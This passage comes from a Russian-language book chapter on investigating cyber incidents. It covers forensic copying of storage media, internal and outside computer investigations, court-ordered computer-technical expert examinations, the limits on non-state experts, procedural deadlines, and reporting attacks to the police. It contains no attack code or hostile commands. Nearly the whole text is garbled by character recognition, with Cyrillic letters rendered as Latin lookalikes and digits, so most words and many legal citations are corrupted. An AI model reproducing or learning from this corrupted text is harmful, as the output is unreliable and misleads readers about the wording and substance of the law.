MU 6oJbIIero oobema.

OpuruHaabl HOCUTeJeli KOMITbIOTepPHOM MHbOopMaLyu 060pyIoBa-
HISI, HA KOTOpble OblJIa coBepllleHa KubepaTaka MM Ha KOTOPBIX IPO-
M3o1ies a1000¥ APyroit MHIMOEHT MHGOPMAIIMOHHOM 6e30I1acHOCTH,
IOJKHBI OBITh COXpaHEHbI B HEM3MEHHOM BMJIe C TOTO MOMEHTA, KakK
Obl1a OOHApysKeHa IpobsemMa. ITU HOCUTeNM MHpOpPMAaIMKM CTaHYT Be-
IIeCTBEHHBIMM JIOKA3aTeIbCTBAMM ITPYU YTOJIOBHOM JIeJIe.

[Touemy HYKHO ce/aTh iBe TOYHbIe KOMUIM HOCUTEJIeit KOMITbIOTep-
Hoit uHGopmanumn? [Tocie co3maHnst TOYHBIX KOIMIA HOCUTeNe nHbpop-
MalMy camoe BpeMsl BCTYIIaTh B JeliCTBMe cracaTesssM BCeX MacTeii
M aHaJIM3aTOpPaM.

! TlocekTOpHAasl KOTIMSI — TOUHAS KOTIMSI HOCUTENISI KOMITbIOTEpPHOI MH(MOpMaInu, Tak-
’Ke Ha3bIBaeMasi MHOIIa KPMMMHAIMCTUUYeCKOM KOMe.
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OpHy KOTIMIO 11eJ1eCO06pa3HO OTIIPABUTH B SKCITEPTHYIO OPTraHM3aIMI0
IJis TIpOBeJleHVsI KOMIIbIOTePHOI'0 MCCaefoBaHMsl, a BTOPYIO MUCIIOb-
30BaTh IJIS1 TIOJIy4YeHUs] HeOOXOIMMOW KPUTUUECKOi MHbOopMauumu —
OyXrajTepCcKux JOKYMEHTOB, 6a3 TaHHbBIX, MCXOIHBIX KOAOB U APYroii
1leHHOI nHdopMaIu, T03BOJIsIOIel TPeaIpUsITHI0O HOpMaabHO QyHK-
LMOHMUPOBATb.

4.5.3. lpoeedeHue uccnedosanuli U KOMNbLIOMeEPHO-MeEXHUYECKUX
JKcnepmus

st abdeKTUBHOCTM pacciaeqoBaHMii IPeCcTyIieHnt B cepe KOMITbIO-
TepHO MHGOpMaLMK U CyIeOHOTO pacCMOTPEHMS e, CBSI3aHHbBIX C MH-
(hopMaIMOHHBIMM TEXHOJIOTUSIMU, TPeOyeTCs IIpOoBeIeHMe MCC/IeIoBa-
HUM U 9KCIIePTU3.

[ng Havasa HY>KHO ellle pa3 IMOSICHUTb, KAKOBa pa3HUlla MeXny BU-
JaMy MH(POPMAIIMOHHBIX M TEXHUYECKUX MUCCAeIOBaHNI, TTPUMEHSIeMbIX
MIpU MHIMIEHTaX MHPOPMAIIMOHHOV 6€301aCHOCTH U MPEeCTYIUIEHUSIX.

CnyxwebHas nposepka

[TepBblii BUI — 3TO CJTy>keOHAsT ITPOBepKa, IMIPOBOAMMAST CUJIAMU COTPY/I-
HMKOB OT/I€JIbHO B3SITOTO MPeAIIpUSITHS, HA KOTOPOM IPOM30IIIes UHIIM -
neHT. Pe3ynbTaThl JAaHHOTO pacciaeqoBaHMs MOTYT (M JOJKHBI) B la/ib-
HejileM ObITh MPUOOIIEHbl K MaTepuaay MPOBepKMU MO 0OpalleHNIo
B ITPaBOOXpaHUTEIbHbIE OPraHbl, €CM UHLUUIEHT COMePXXUT MPU3HAKU
COCTaBa MpecTyIIeHUsI.

BHyTpeHHee pacciiefoBaHe CUIaMU IIPeaIpusiTUs IIPOBOAUTDb ropas-
IO TIpollle, eCIM B OpraHu3aluyM 3apaHee ObUIM BHEIPEHbI MHCTPYKIIUN
U peryiaMeHTbl, HallpaBJeHHble Ha 3alUTy MH(POPMAaIMK, BKIIOYalolye
HeoOXoAMMble OpraHM3allMOHHbIE MEPONPUSITUS U OTBETCTBEHHOCTD
KakZ0ro COTPYAHMKA.

KomnbiomepHoe uccnedosaxue

BTopoii Bua BKIIOUAEeT B cebs Takue paboThl, KAK KOMITbIOTEpHbBIE MC-
c/iefoBaHMS U paccyieOBaHUSI MHIIMIEHTOB MHGOPMalMOHHOI 6e3omac-
HOCTHU, TIPOBOJAMMBIE CIIelaJnucTaMu CTOPOHHEN He3aBUCUMOI opra-
HU3aLVN.

Pe3yiibTaTOM 3TOTO BUIa PabOT SIB/ISIETCS 3aK/II0UeHMe CreluaanucTa
(crrerianucToB). JlaHHOe 3aK/I0YeHNe, TP YCIOBUM COOMIONEHMS Tpe-
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6oBaHMii, IpeabsaBasgeMbix PemepanbHbIM 3aKOHOM N2 73-D3 «O ro-
CyIapCTBEHHON CymeOHO-3KCIePTHON IesTeIbHOCTU B Poccuiickoii
demepanuymn», TaKKe MOXKET MCIIOJb30BaThCS MPY 06palieHuy B IIPaBo-
OXpaHUTe/IbHbIe OpPTaHbl U SIBJISITh COO0J OCHOBAaHMUS U IOCTaTOUHOCTh
IAHHBIX, YKa3bIBAIOIIVX HA TIPU3HAKM IIPECTYILJIEHNSI, KaK TOTO TpebyeT
VYrosoBHO-IPOLIeCCYa/IbHBIN KOLEKC M MeTOAMYeCKMe PeKOMeHIaluu
['eHepa/ibHOI MPOKYpPATypPhl, KOTOPbIE MbI YK€ BCIIOMMUHAIN Ha MPOTSI-
SKEHUM KHUTU.

Ha3HauaTb uccienoBaHye HocuTesnei MHopMaluu 1 KOMITbIOTepHO-
ro 060pyI0BaHMSI MOXKeT KaK KOMIIaHMSI, TOBePTHYBIIASICS HAllaieHUIO,
TaK M IIPaBOOXPAaHUTEbHbIE OPTaHbI, IPY MOCTYIJIEHUM 3asBAEHUS UIU
obpaleHust IoTepIieBIIEero.

Heobxoaymbie IJisI MCC/IeOBAHMSI MaTepUaIbl MOTYT ObITb MU3bSTHI
B XOJle OCMOTpa MecCTa MPOUCILeCTBUS UM IIPU OCYIIeCTBIeHUM 00ce-
I OBaHMS.

O6cnenoBaHMe IIPOBOAUTCS B COOTBETCTBMM ¢ puKazom MBI Poccun
ot 01.04.2014 N2 199 «0O06 yTBepkaeHMUM VMHCTPYKIMM O IOPSIIKE IIPO-
BeJleHMs1 COTPYAHMKAMM OPraHOB BHYTpeHHUX Hen Poccuiickoin @ene-
paiuy r;IacHOTO OTIePaTUBHO-PO3BICKHOTO MEPOIIPUSITHSI 06CIeIOBaHMS
TIOMeIleHU 1, 3TaHnI, COOPYKeHMI, y4aCTKOB MEeCTHOCTY U TPAHCIIOPT-
HbBIX CpefcTB U [lepedHs SOKHOCTHBIX JIUI, OPraHOB BHYTPEHHUX el
Poccuiickoit @enepanyn, yIIOJTHOMOYEHHbBIX M34aBaTb PaCIIOPSIKEHUS
O MPOBEIEHNUM IVIACHOTO, OTIePAaTUBHO-PO3bICKHOTO MEPOIPUSITHUS, 06-
cllefoBaHMe TOMelleHuM, 30aHni, COOPY>KeHUI, Y4aCTKOB MEeCTHOCTU
Y TPAHCIIOPTHBIX CPEACTBY.

[Tporecc U3bATUS KOMITbIOTEPHOTO 000PYIOBAaHMSI ¥ HOCUTENIEN VH-
dbopmaiu 1omKeH OCYIIeCTBISIThCS C yYacTeM TeEXHUUYeCKUX Crelya-
JIXCTOB, KOTOPbIe B OOJBIIMHCTBE C/TyuyaeB IOMOTraeT MpeAaoCTaBUTh I0-
TepIieBIIasi OpraHmu3auus.

B n060M ciyuae, riepe[ HallpaBJIeHMEM Ha MCC/IelOBaHMe CIelya-
JIXCTaM KOMITbIOTEPHOT'O 060PYI0OBaHMs OTIepyTIOTHOMOUEHHbI, T03HA-
BaTeJIb WIN (JIefoBaTelb JO/DKEH B YCTAHOBJIEHHOM 3aKOHOM IOPSIIKE
MIPUOOIIUTL 000pyJOBaHME K MaTepyuaaaM IIPOBEPKIU.

[Tocne perucTpaiuy 3asiBieHUS U 10 TIPUHSATHUS pellieHus 0 BO30yK-
OeHuM b0 OTKase B BO3OYKIEeHMM YTOJIOBHOIO Jlejla He TaK MHOTO
BpPEMEHMN.

3aKOHOM MNpeAyCMOTPEH CPOK B TpPOe CYTOK, B T€UEeHMe KOTOPOro
IOJKHO ObITh MPUHSITO pellieHNe, a Takke MpefyCMOTPeHO ITpoaJieHne
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CpOKa pacCMOTpPEeHMsI: PyKOBOAUTE/eM CIeCTBEHHOTO OpraHa, HavyaJib-
HMKOM OpraHa Jo3HaHus — 10 10 CyTOK, a IIpy HEOOXOAMMOCTU IIPON3-
BOJICTBA JOKYMEHTAJbHBIX MTPOBEPOK, PeBU3NIL, CyNeOHbIX SKCIIePTU3,
MUCCIeOBAHMI IOKYMEHTOB, & TAK)Ke ITPOBeAeHNS OIepaTUBHO-PO3bICK-
HbIX MEPOTIPUSITUIL PYKOBOAUTEb CJIEACTBEHHOTO OpraHa Mo xopaTai-
CTBY CJiefoBaTesisl, a IMIPOKYpPOp MO XO4AaTalCTBY NO3HaBaTeJsl BIIpaBe
MIPOJJIUTD 3TOT CPOK 110 30 cyTOK!.

Takum o6pa3om, COTPYAHMK MTPaBOOXPaHUTEIbHBIX OPTaHOB MOXET
HA3HAUUTb UCCIeAOBaHME WM SKCIIePTU3y M0 MaTepuany IpoBepKu
U TIPOJJIUTD CPOK paccmoTpenust 10 30 CYyTOK.

OpHako Ha MpaKTUKe TaKOTO CpoKa ObIBaeT HeAOCTATOYHO JIJIsl TIOTY-
YeHMs U3 roCyJapCTBEHHBIX 3KCIEePTHBIX YUPEXIAEeHMI 3aKII0UeHMI1 10
KubeprpectyrieHusiM. [la ¥ TpUALATUIHEBHbBI CPOK IOC/Ie COBepiie-
HUSI KMOePIIPeCTYIIEHNS TYOUTETbHO MOXKET CKa3aThCsI HAa TI€PCITeKTH -
Bax BCero gena.

be3 HOpMaIbHOTO 3aK/II0YeHUS TEXHMUECKUX CIIeIMaaCTOB B 60Jb-
HIMHCTBE Cy4yaeB CAefCTBEHHbIMM OpraHaMu MO pe3yJbTaTaM pac-
CMOTpeHMs OyIeT MPUHSITO pellieHMe 06 OTKase B BO3OYKIEHUM yTO-
JIOBHOTO Jiena.

HepaspenieHHbie, HO HE06X0AIMbI€ BOTTPOCHI B XO/Ie SKCITEPTHOT'O MC-
CJieOBaHMSI MOTYT BITOCIENCTBMM HETaTMBHO CKAa3aThCs Ha pe3ysbTaTe
CynebHOro pacCMOTpPeHMSI, 8 OTCYTCTBME KOMITbIOTEPHOTO MCC/IeIOBaHMS
M KaueCTBEHHO IPOBeIEeHHO MPOBEPKM N0 BO3OYKIEHUS YTOJIOBHOTO
nena MOXeT CTaTh OCHOBaHMEM [IJisl OTKa3a B ero BO30YKIeHUN.

HabmiomeHus TOBOPSIT O TOM, UTO ITOTepIIeBIme, hpusmudeckme u opu-
oUJecKue Juia, a TakKe MpaBOOXPaHUTEe/IbHbIe OpraHbl CTA/IM BCe Yallle
06paniaThCs C HeJIbI0 TPOBeAeHMSI KOMITbIOTEPHbIX MICCIeIOBAHMIA U 9KC-
MepPTH3 K YaCTHBIM CITeLMaaUCTaM.

Hy>KHO KOHCTaTUPOBATh, YTO HEKOTOPbIE KOMMepUYeCKMe 3KCIepTHbIe
opraHM3aIu MOTYT obecrieunBaTh GUKCaIMIO Ce0B KubepripecTyruie-
HUI1 ¥ IPOBOAUTD paccyiefOBaHNS MHIMAEHTOB HA YPOBEHD BhIIIE, UeM
Ha TO YIIOJIHOMOYEHHBIE TOCYJapCTBEHHbIE CTPYKTYPHI.

Tem He MeHee BbIOOP Ha YaCTHBIE SKCIIEPTHbBIE YUPEKIEHMS TalaeT
He TOJbKO M3-3a UX OMepaTUBHOCTU WM MpodecCMOoHaIbHOTO MacTep-
CTBa, MPOSIBJISIIONIETOCS B MPEAOCTABISIEMbIX YCITyTaX.

! Cratbst 144 VIIK PD «ITopsimoKk pacCMOTpeHMsT Coo0IeHust o npectyrienun». URL:
http://www.consultant.ru/document/cons_doc_LAW_34481/a3d0f7ee6816ad8ac5a3a39
75cf93b26a443c4f8/.


http://www.consultant.ru/document/cons_doc_LAW_34481/a3d0f7ee6816ad8ac5a3a3975cf93b26a443c4f8/
http://www.consultant.ru/document/cons_doc_LAW_34481/a3d0f7ee6816ad8ac5a3a3975cf93b26a443c4f8/
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KoMMepuecKkuit ceKTOp He Bceraga rOpUT keJaHeM BbIHOCUTD COpP U3
136bI, 00palasiCh B IPaBOOXPAHUTEIbHbBIE OPTaHbI C 3asBIeHMeM. Jlake
B TeX CJTy4Yasix, KOrjga B pesyjbTaTe KubepaTaky MOXUIIAITCS TeHesKHbIe
cpencTBa. UTo y3K TOBOPUTH O CIyUYassx KMOepIImMoHaxka?

B maHHOM BOIpPOCE aBTOPOM XOTEJIOCh Obl OTMETUTH HECKOJIbKO
aCIeKTOB [IesITeJIbHOCTM HeroCcygapCTBeHHbBIX SKCIIEPTOB U SKCIIEPTHBIX
OpraHusalui.

HezocydapcmeeHHble 3KkcnepmHbie op2aHu3ayuu

B cootBeTcTBUM €O CT. 41 DenmepanbHoro 3akoHa ot 31.05.2001 N2 73-®3
«O rocymapCcTBeHHO CyIeOHO-3KCIIEPTHOI TesITe/IbHOCTY B Poccuitckoii
denmepanyuu» cygebHass SKCIIepTM3a B COOTBETCTBMUM C HOpMaMM IIpO-
1ieccyajqbHOro 3aKOHOmaTenbCcTBa Poccuiickoit @emepaliin MOKeT Mpo-
M3BOIUTHCS BHE TOCYIapPCTBEHHBIX CyIeOHO-IKCIIEPTHBIX YUPEKIEeHMIA
JUIaMu, o6agaoMMy CIlelMaJbHbIMY 3HAHUSIMM B OIpee/IeHHOM
obmacTy (HayKu, TEXHUKM, MCKYCCTBA MJIM PeEMeCIa).

Ha cyme6HO-3KCIIepPTHYIO AeSITeTbHOCTb HETOCYIapCTBEHHBIX SKCIIEPTOB
TaKKe pacIpocTpaHseTrcs aelictBue ®enepaibHOro 3akoHa «O rocymap-
CTBEHHOJ1 Cyie6HO-KCITEPTHOM IesITeIbHOCTY B Poccuiickoit denepanyim».

HerocynmapcTBeHHbIe 5KCIIEPThI MOTYT TPOBOAUTD HE3aBUCUMOE I10JI-
HOe JCCIeq0BaHNe IPeICTaB/IeHHbIX 00BEeKTOB ¥ MaTepuajoB, IOATO0-
TaBJIMBATh U IIPEIOCTAB/ISITH 000CHOBAHHOE 1 OOBEKTMBHOE 3aK/TIOUEeHIEe
T10 TIOCTaBJIeHHBIM Ieped, HUMM BOITPOCaM.

Ha mesTesIbHOCTb HErOCyIapCTBEHHBIX 3KCIIEPTOB PACHPOCTPAHSIFOTCS
T€e ’Ke OTpaHNYEeHNSI M OTBETCTBEHHOCTD, UTO M Ha rOCyapCTBeHHbIX. He
reperpyskasi M3JIMIIHel CIIpaBOYHOI MHbOpMallneil YuTaTesisi, MOXXHO
yKa3aTh, YTO B COOTBETCTBUM C JEeMCTBYIOIIMM 3aKOHOAATe/IbCTBOM PD
HerocygapCTBeHHbIe 3KCIIePThI TAK)Ke He MMEIOT IpaBa pa3riaiiaTh CBe-
IeHMsI, KOTOPbIE CTaIM MM M3BECTHBI B CBSI3U C ITPOU3BOACTBOM Cy/e0-
HOJi 5KCIepTu3bl, B TOM UlC/ie CBeIeHMs], KOTOpble MOTYT OTPaHUYNUTh
KOHCTUTYIMOHHbIE MTpaBa rpakaaH, a TakKe CBeeHMs, COCTaBJISIOIIeE
rocy1apCTBEHHYH, KOMMEpUeCKyl0 MJIM MHYI0 OXpaHsieMyl 3aKOHOM
TaiiHy, 1 TaKKe 00s13aHbI 00eCcIIeuBaTh COXPAHHOCTD ITPeICTaB/IeHHbIX
00BEKTOB MCC/IeIOBAHNIA ¥ MATEPYUAJIOB.

KomnbfomepHo-meXHuquKaﬂ JKcnepmu3sa

OKCIIepTU3a — 3TO TPEeTUit 1 3aKIIUMUTENIbHbBIN BUI MHGOPMAIMOHHO-
TeXHUYECKUX MCCIeq0BaHMi, IPUMeHSIEMbIX TIPU MHIMUIEHTax UHGOP-
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MAaILIMOHHO 6e30ITacHOCTY U IpecTyrieHusx. @opMaibHas pasHUIa
MEeXIy MCCIeoOBaHMeM M 3KCIePTU30J COCTOMT B Ha3BAHUM U OTBET-
CTBEHHOCTU COTPYIHMKA, TOTOBSIIETO JOKYMEHT.

OKCITepTH3a yallle BCero HasHavyaeTcsl B paMKaxX BO30Y>KI€HHOI'O yTo-
JIOBHOT'O JieJia ¢jiemoBareneM (WiM cygoM). McciiemoBaHue ke Ha3Hayva-
eTCs B paMKaxX pacCMOTpPeHMSI MaTepyaja IpoBepKu (Jinbo IMpoBeaeHMs
OIepaTMBHO-PO3BICKHON AesITeIbHOCTU) WU TIPOBOAUTCS 110 MHUIMA-
TUBE TMOTePIIeBILIE CTOPOHBI.

HasBaHle OKyMEHTa, KOTOPbIil COOepsKUT B cebe pe3ynbTaThl B 3a-
BYCUMMOCTY OT CUTyaLu, OyIeT: 3aK/II0UeHMe CIIelaaucTa I 3aKI0-
YeHue 3KCIiepTa.

OCHOBHOE 3Ke OT/IMYMe MEXAY UCCIef0BaHeM U 3KCIIEPTU30M 3aKIII0-
YaeTcs B TOM, YTO IIPU IIPOBEIEHUM IKCIIEPTU3bI IKCIIEPT AAET MOAINUCKY
CIeIyIoUero Buaa:

B coorBeTcTBMM O cT. 199 VIIK P® MHe pa3bscHEHbI ITpaBa M 00sI3aH-
HOCTM 3KCIepTa, mpeaycMoTpeHHbIe cT. 57 YIIK PO.

O6 OTBETCTBEHHOCTH 3a AUy 3aBeJOMO JIOKHOTO 3aK/TIOUEHUST UJIU TI0-
KaszaHus skcnepra 1o cT. 307 YK PO nipenyripexaeH.

Takas mommnmcka o0sI3bIBAeT KCIIEpPTa «OTBeYaTh» 3a BBIBOJIBI, CHe-
JIaHHbIE B pe3y/ibTaTe UCC/Ieq0BaHMSI.

HenmumHaum OymeT IpUBECTU OOVH IIpUMep.

CoTpygHuKM 0mgHOTO U3 noapasaenenuii MBJI Poccun, mpoBoas orie-
PaTMBHO-PO3bICKHBIE MEPOITPUSITHSI B paMKaxX OIepaTUBHON pa3paborT-
K/ HEe3aKOHHOJ JesITeJIbHOCTY IPEeCTYITHON I'PYIIbl, CMOIJIM MOJIYYUTh
obpa3zel; BpegOHOCHO KOMITBIOTEPHOJ HPOTPaMMBbl, ITPUMEHSIeMOIA
3JI0yMBIIIVIEHHMKAMI B CBOeil AesiTeibHOCTU. C 11e/IblI0 YCTaHOBJIEHUS
dbyHKIMOHA/MA ¥ TIPU3HAKOB BPeIOHOCHOI MporpaMMbl JaHHbIN daiiin
ObUI OTIIpaB/ieH B OJHY M3BECTHYIO SKCIIEPTHYIO OpTraHM3alMI0 Ha JC-
wlemoBaHue. B pesynbraTe ObLIO ITOTYYEHO 3aK/IIOUEHME CIIeIManCTa,
yKa3bIBaloIllee Ha TO, YTO IPeCTaBJIeHHbIN (aiia SIB/ISIeTCS BpeIoHOC-
HOJ ITPOrpaMMOIA.

CrrycTs1 HEKOTOpOe BpeMsl MaTepuasbl, CoepsKalliyie pe3yabTaThl Olle-
PaTMBHO-PO3bICKHOJ IesITeJIbHOCTH, BKJIIOUasl 3aK/Il0UeHMe CIlielaamc-
Ta, OBIM MepedaHbl B CIeICTBEHHbIE OPraHbl, Ie ObIJI0 BO30OYKIEHO
yrosoBHoe neno no cr. 273 YK P® «Co3pgaHue, UCII0JIb30BaHMe U pac-
MIPOCTpaHeHMe BPelOHOCHBIX KOMITbIOTEPHBIX ITPOrPaMM».

B pamkax pacciiemoBaHMsI YTOJIOBHOTO Jejia ciegoBaTesieM Oblia Ha-
3HauUeHa 5KCIIepTHu3a TO¥ XXe MMPOrpaMmbl, B TY K€ CaMyl0 3KCIEePTHYIO
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OpraHM3aluIo, TAe TOT XKe CaMblil SKCIIEPT He IPU3HAJI IIPeCTaBIeHHbIN
(daiiy BpemoOHOCHOV KOMITbIOTEPHOVI ITPOrpaMMOii.

Ho BepHeMCsl K caMOMy COAEP>XKaHUIO Y CMBICTY SKCIIEPTU3BI.

KommnboTepHasi sKcrepTusa, uianu cygedHasi KOMITbIOTEPHO-TeXHU-
yeckKasi 9KCIIepTu3a, OCYLIECTBSIETCS B IpolLecce Cyoonpou3BOACTBA
C LeJIbI0 OKa3aHMUsI CONEeMCTBUS CynaM, CyIbsiM, OpraHaM OO3HaHUS
M CJIeloBaTe/sIM B YCTAHOBJIEHMY OOCTOSITENIbCTB, MOAJIEKANMX TOKa-
3bIBAHMIO TI0 KOHKPETHOMY Jieny’.

KomriploTepHas sKcIiepTusa, BHe 3aBUCUMMOCTU OT TOTO, ToCyaap-
CTBEHHbBIN WX HETOCYIapCTBEHHbIN 3KCIEPT ee TOTOBUT, B 00sI3aTesb-
HOM MOPSIZIKE COOEeP>XKUT UCCIeN0BaTeNbCKYI0 YaCTh U BbIBOJbI IKCIIEPTa
110 BOIIpOCaM, TPEOYIOIIVM CITelMaJbHbIX 3HAHMIT B 06/1aCTM KOMIIbIO-
TEePHOJ TEeXHUKM, ITPOTPAMMHOT0 obecriedeHMs ¥ KOMITbIOTePHOM MH-
dbopmanyn.

OKCIIePT JaeT 3aK/II0UeHe, OCHOBBIBASICh HA pe3y/bTaTax IpOBeeH-
HbBIX UCC/IeJOBaHNUl B COOTBETCTBUM CO CBOMMM CIIeLIMaJIbHBIMM 3Ha-
HUSIMU. Pe3ysibTaTOM MpOBeAeHUS SKCIIEPTU3BI SBJSIETCS 3aK/IIYeHMe
9KCIlepTa — NMUCbMEHHbI TOKYMEHT, B KOTOPOM OTPa’keHbl X0, U pe-
3Y/IbTaThl UCCEI0BaHMI, TPOBEIEHHBIX IKCIIEPTOM.

KomribloTepHast akcrnepTu3sa SIBASIeTCS OOHUM M3 OCHOBHBIX OKa-
3aTeIbCTB, KOTOPbI€ MOTYT YKa3bIBaTh Ha MPUYACTHOCTh (MM HENPU-
YaCTHOCTb) M CTaTb OCHOBAaHMEM IIpU OIpeneeHUN BUHOBHOCTU (MJIN
HEBMHOBHOCTM), & TaK)Ke YCTAHOBJIEHUM MCTUHHBIX IIPUYMH U OOCTOSI-
TeJIbCTB MPOM30IIelIero MHIMAeHTa MHQOpMaIMOHHOI 6e30MacHOCTH
WM COBEPLIEHHOIO NPECTYIIeHMS.

Ha BaskHYIO pOJib KOMITbIOTEPHBIX 3KCIIepTHU3 oOpalllaeTcss BHUMaHMe
" B METOAMYECKUX PEKOMEHAALIMSIX 10 OCYIeCTBIEHUIO IIPOKYPOPCKOTO
HaZ30pa 3a VUCIIOJIHEHMEM 3aKOHOB IIPU paccief0BaHUM IIPeCTYIUIEeHU
B cepe KOMITbIOTEPHON MHGpOpMaIM, pa3paboTaHHbIX [eHepanbHOI
npokyparypoit Poccuiickoin ®enepaumn.

OHaKO KaueCTBO U OTIePaTMBHOCTD IMTPOBOAMMOTO UCC/IeA0BaHUS VU
9KCIIePTU3bI 3aBUCST HE TOJIBKO OT TOTO, TOCYLapCTBEHHbIN UM HETOCY-
IapCTBEHHBIN CIeMaaCT TOTOBWUII 3aKII0UeHMe.

HekoTopble Tak Ha3bIBaeMble SKCIIEPTHbIE YUPEXAEHMSI, KOTOPbIE aK-
TUBHO PEKJIaMMUPYIOT CBOM YCJIYTU MO MPOBEIEHNI0O KOMIIBIOTEPHO-TEX-

! ®emepanbHbIi 3aKoH OT 31 Mast 2001 1. N2 73-@3 «O rocygapcTBeHHOI CyIeOHO0-9KC-
MepTHOI AesTenbHOCTU B Poccuiickoin ®epgepauyun». URL: http://www.consultant.ru/
document/cons_doc_LAW_31871/.
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HUYECKUX IKCIIEPTH3, Ha IOBEPKY OKa3bIBAIOTCS TIOJTHBIM 6e3006pasieM.
[IpemocTraBisieMble Ha TpeX CTpaHMUIAX 3aKI0UeHUsT He HeCyT HUKAKOIi
TI0JTb3bI AJ151 PACKPBITUS MUCTUHHBIX IPUUMH UHILIMIEHTA UM YCTaHOBJIe-
HMUSI CJIe[IOB MPeCTYIIeHNS, & IPUBOAST JINIIIb K BOJIOKUTE U TYITMKOBBIM
cutyauusaMm. [Ipy peknamMupoBaHMUM YCIYT Takue TOBAPUIIM 3asIBIISIIOT,
uTo BepHYT 200% 3aTpaT Ha 3KCIIEePTU3Y U YTO UyTh i He B 100% ciy-
yaeB MX pelleH3U!M Ha yKe MpOoBefeHHble 3KCIepTH3bl MPUBOIAT K Ha-
3HAUEHMUIO OTIOJTHUTE/bHBIX 3KcIepTu3. OCHOBHbIM HampaB/ieHueM
paboThl TAKMX OpraHM3aluil SBJSIETCS OBICTPOE HAIMCAHMe JTelleBbIX
¥ MaJIOKOMIIETEHTHBIX paboT. HaBepHoe, o6pamaTbes npu Kubepmpe-
CTYIUIEHUSIX K HUM He CTOUT.

B0O3MOXXHOCTM KOMITbIOTEPHBIX MCCAeN0BaHUI JOBOJbHO BEJIUKU U,
KaK TOKa3bIBaIOT IPMMepbI, IT03BOJISIIOT YCTAHOBUTb IIPUUYMHBI TTPOM30-
meinx MHIMIAEHTOB M 3a4acTylo BbISIBUTb PeKBU3UTHI, [P-anpeca,
y4eTHble 3aMCU U APyrue peKBU3UTHI, UCIIOIb3yeMble 3/I0yMBbIIIIeH-
HUKaMMU.

[Ipy rpaMOTHOM 3aKpeIlyieH! C/1eloB MIPeCTyIJIeHUs U BbISIBI€eHUU
MeTO/I0B COBepIlIeHMsI HelTPaBOBEPHbIX IeiCTBMUI1 OCTAeTCsI YCTAHOBUTD
CBSI3Y MEX[Y BbISIBIEHHbBIMIU PEKBU3UTAMM U KOHKPETHBIMU JIUIAMMU
WY OpTaHM3alMsIMU. YCTaHOBJ/IEHMe TaKMX CBsI3et — BITOJTHEe MTOCHJIbHAsI
3a7aua JIJiss YaCTHOTO ChICKA.

Takum 06pa3oM, MOKHO ITPOTrHO3MPOBATh pa3BMUTEe HOBOTO HaIlpaB-
JIeHMs1 Ha pbIHKe YCIYT Hallleii CTpaHbl, TpefoCTaBIsIoIero KOMILIEKC 10
MIPOBEIEHNIO pacc/ieOBaHMIi MHIMAEHTOB MHGOPMAILMOHHOI 6e3011ac-
HOCTM, OCYIIeCTBI/ISIEMbIX B CBSI3Ke C BO3MOXXHOCTSIMM YaCTHOTO ChICKA.

4.5.4. O6paweHue 8 npasooxpaHumesibHole o0p2aHbl

BHe 3aBMCUMMOCTU OT TOTO, ObIJIA JIM JOCTUTHYTA IeJIb HaIlaJaroIInX,
HeOoOXOAMMO TIPeINPUHATh psif, 00s3aTenbHbIX Mep. O6paleHue ¢ 3a-
SIBJIEGHMEM B ITPABOOXPAHUTEbHbIE OPraHbl HY;KHO OCYIIECTBJISITh 00sI-
3aTeJIbHO, eC/IX eCTh JKeJlaHMe HaKas3aThb IMPEeCTYIIHUKOB U BO3MECTUTh
HaHeCeHHBbII yIiepo.

YacTo MpouCcXOoauT Tak, UTO KubepaTaka Ha TEXHUYECKME Y3JIbl Off-
HOJ OpraHM3anyuyu HEraTMBHO OTPAKaeTCsl HA AeSITeIbHOCTU LPYTUX
KOMITaHUIA.

He >xenast ocTaTbCsl «KpaifHUM» U TIOTIACTh B CUTYaLMI0, KOTAA MPU-
IeTcsl OIUIauMBaTh BCce (PMHAHCOBBIE IOTEPU APYTIUX, JAydlle MMpemy-
CMOTPUTEIbHO 3aUKCUPOBaTh (aKThl HEIIPABOMEPHOI NesITeIbHOCTH,
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06paTUBIINCD ¢ OGUIIMATBLHBIM 3asIBJIEHMEM O TIPECTYIUIEHUY B IIPaBO-
OXpaHUTEe/IbHbIE OPTaHbl.

[Tocne BO30OYKOeHMSI YTOJIOBHOTO Jiejia MOKHO IIpU3HAaBaTh MOTepP-
MeBIINX, 00PAIIATHCS C TPAKIAHCKMMM MCKaMM, HAK/IaIblBaTh apeCThl
Ha CYeTa, ABVOKMMOE U HeIBIDKMMOE MMYILIECTBO 3JIOYMbIILIEHHMKOB.
Kakum 6bI AJIMHHBIM He ObUT CymeOHbIN MPOoIlecc, HO TOSIBJISIETCS BO3-
MO>KHOCTb BEpPHYTb YKpaJl€HHbIE CPEeICTBA UJIM BO3MECTUTD IIPUUYMHEH-
HBIIA y1iep0.

Heo6xoguMo MOHMMATh, UTO MPU ONpeneJeHMM pasmepa yiiepoa,
MIPUYMHEHHOTO, HAaIIpMMep, B pe3yJ/ibTaTe HeCAaHKIMOHMPOBAHHOTO J0-
CTyIIa K KOMITbIOTEpY WK 6a3e JaHHBIX, YYUTHIBAIOTCS HE TOIbKO ITpsi-
MbI€ 3aTPaThl HA TMKBUIALMIO HETAaTUBHbBIX [IOC/IEICTBUIA, HO U YITYLI€H-
Hasl BbIrOa MpeanpusiTus.

[TocnencTBusi MOXKHO YCTaHABJIMBATh, HAIIPUMeEp, B XOAe CJIeICTBEH-
HOT'O OCMOTpa KOMIIbIOTEPHOTO 000pYyA0BaHMSsI, HOCKUTeNNeli nHpopMa-
1Y, aHaaM3a 6a3 JAHHBIX U SKCIIEPTU3.

JJaHHBIN aCMeKT Takke paccMaTpuBaics ['eHepanbHON MPOKYypaTy-
poii PO B MeToaMueckux peKoMeHAalusIxX!, rae, B YaCTHOCTU, YKa3aHo,
YTO IJIS1 OTIpesesieHus yilep6a MOXHO MCIOIb30BaTh AOMPOCH TEXHMU-
YyeCcKOro mepcoHasa, BiajesnblieB MHOOPMAILIMOHHBIX PecypcoB, a BUJ,
1 pasmMep yiiep6ba 0ObIYHO OIpeaesioTCsl TOCPeCTBOM KOMILJIEKCHOIA
9KCITePTU3BI, IPOBOAMMO C yUaCTHEM CIIELIVATMCTOB B HECKOIbKUX 00-
nacTsax: MHGopMaTusauyn, CpeiCTB BBIUMCINTETbHOM TEXHUKN U CBSI3U,
9KOHOMMKM, GMHAHCOBOI AesITeTbHOCTU U TOBAapOBeIeHMSI.

I https://genproc.gov.ru/documents/nauka/execution/document-104550/.
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HukAKon MUCTUKW,

- ~~TO/bKO BU3HEC.
OB30P YEPHOMO PbIHKA
MHOOPMALIMOHHDIX YCAYT
B Poccun

BricTpanBasi cucteMy 6e30MacHOCTM, 3aHMMAasICh paccjaeoBaHUEM TIpe-
